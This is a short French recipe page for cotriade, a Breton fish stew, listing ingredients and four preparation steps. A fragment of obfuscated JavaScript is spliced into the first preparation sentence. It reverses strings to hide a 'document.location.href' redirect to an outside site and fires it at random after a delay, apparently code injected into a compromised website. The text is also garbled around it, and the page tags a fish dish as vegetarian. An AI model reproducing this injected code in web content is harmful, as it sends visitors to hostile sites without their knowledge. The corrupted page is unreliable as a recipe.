Cotriade
2018-01-03- Cuisine : Poissons
- Thématique : Végétarien
- Niveau : Difficile
Préparez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous ces poissons, les rincer, les couper en tronçons avec la tête. Pelez les oignons et les pommes de terre, coupez-les en cubes.
Ingrédients
- Pour 6 personnes
- 2 kg de (Sardines; maquereau ; daurade ; merlu ; congre)
- 1 tête de poisson
- 3 oignons
- 2 dl de vinaigre
- ½ bouquet de persil plat
- 30 g de beurre
- 1 bouquet garni
- 6 pommes de terre
Préparation de la recette
Etape 1
Préparez tous ces poissons, les rincer, les couper en tronçons avec la tête. Pelez les oignons et les pommes de terre, coupez-les en cubes.
Etape 2
Dans une cocotte faites rissoler les oignons dans un peu de beurre jusqu'à ce qu'ils soient fondants puis versez 3 litres d’eau.
Etape 3
Ajoutez les têtes et les poissons, le bouquet garni, les pommes de terre le persil. Poursuivre la cuisson pendant 25 minutes.
Etape 4
Pendant ce temps préparez une vinaigrette servie dans une saucière. Le poisson, et les pommes de terre dans un plat de service.
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